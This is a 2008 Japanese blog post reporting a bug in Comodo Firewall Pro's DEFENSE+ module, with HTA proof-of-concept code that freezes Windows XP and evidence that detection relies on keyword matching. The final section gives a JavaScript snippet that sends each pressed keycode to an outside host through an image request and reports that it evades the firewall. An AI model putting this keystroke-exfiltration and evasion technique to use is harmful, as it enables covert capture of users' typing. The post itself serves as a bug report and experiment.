スポンサーサイト
投稿日時 : -------- --:--
上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
-------- --:-- | スポンサー広告
Comodo Firewall ProでOSをフリーズさせるJavascriptコード
投稿日時 : 2008-08-28 17:16
 フリー(無料)で高性能と噂のファイアウォールComodo Firewall Proを導入しようか検討していたんですが、自作のHTAアプリ起動したらOSを巻き込んでフリーズすることを発見。
 

■症状

 HTA内にJavascripのキーイベントハンドラー(onkeydownなど)やマウスイベントハンドラー(onclickなど)とXMLHTTPの2つのコードが含まれている場合に起こります。HTAを実行するとDEFENSE+の実行許可ダイアログが出て、通常なら「OK」ボタンか「Cancel」ボタンを選ぶわけですが、ボタンが押せません。Ctrl-Alt-Deleteもダメ。とにかく何もできなくなります。再現率も100%。これは明らかにバグなんじゃないでしょうか・・・
 

■環境

・1GHz/512MB
・XPProSP3
・Comodo Firewall Pro 3.2.25.378
 

■DEFENSE+の設定

「General Settings」タブ。ふつうにデフォルトのオプションでインストールしていじってません。
comodo setting 1
 
「Monitor Settings」タブ。今回のはここの「Object To Monitor Against Direct Access」の「Keyboard」に反応してるようです。
comodo setting 2
 

■実証コード

 問題のフリーズするコード。テキストエディタに貼り付けて「.hta」で保存して実行。もちろんOSがフリーズする実証コードなので自己責任でそれなりの環境で。
 
はじめは以下のような感じのコードに反応。
<html><body><script>
document.onkeydown = function(){alert(event.keyCode)}
var http = new ActiveXObject("Microsoft.XMLHTTP");
http.open("GET","http://www.yahoo.co.jp/",false);
http.send();
document.body.innerText = http.responseText;
</script></body></html>
 
どこに反応してるのか絞り込むためコードを適当に削ってみる。これでも反応。
<html><body><script>
document.onkeydown
var http = new ActiveXObject("Microsoft.XMLHTTP");
http.send();
</script></body></html>
 
で、最終的に以下のようなJavascriptとしてまったく動作しないコードにも反応。つまり実際の動作を見てるのではなく、単にキーワードに反応してるだけということが判明。
<html><script>
onkeydown Microsoft.XMLHTTP
</script></html>
フリーズ時のダイアログには以下のようなメッセージ。VMWareで走らせればスクリーンショットとれたんですが用意が面倒なのでテキストで。
Security Considerations
mshta.exe is an unsafe application and it is about to access the keyboard directly. Accessing the keyboard directly allows an application to read the pressed keys or simurate the key strokes. Many applications use this to provide keyboard shortcut functionality. However, malware can also use this functionality to log the key strokes.
 
イベントログには「Direct Keyboard Access」と記録されていました。
comodo event log
 

■My Own Safe Filesに登録してフリーズ回避・・・できない!?

 仕方ないので条件に一致しそうなコードを含むプログラムは手動でDEFENSE+の「My Own Safe Files」に追加してフリーズを回避することにしました。
 
フォルダ単位で追加。
comodo add safe files
 
追加されたリスト
comodo safe files
 
これでいけるハズ、と起動してみると・・・フリーズ!どうやら個別にhtaファイルを登録してもダメで、mshta.exe自体を登録する必要があるみたいです。htaの仕組み上仕方ないと言えば仕方ないかな・・・。
 

■DEFENS+を回避してキーコードを送信してみる

 フリーズするバグの話からはそれますが、思えばドメイン越えで入力されたキーコードを送信するなんて別にXMLHTTPを使わなくてもできるわけで、それを試してみた。
<html><script>
document.onkeydown = function(){
	(new Image()).src = 'http://www.yahoo.co.jp/?key=' + event.keyCode;
}
</script></html>
これはスルーされましたw。
 

[参考]
SSL Free Firewall Two Factor Authentication Products from Comodo
Comodo Firewall Pro @ まとめ - トップページ
 
スポンサーサイト
2008-08-28 17:16 | Windows | Comment(0) | Trackback(0)
上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。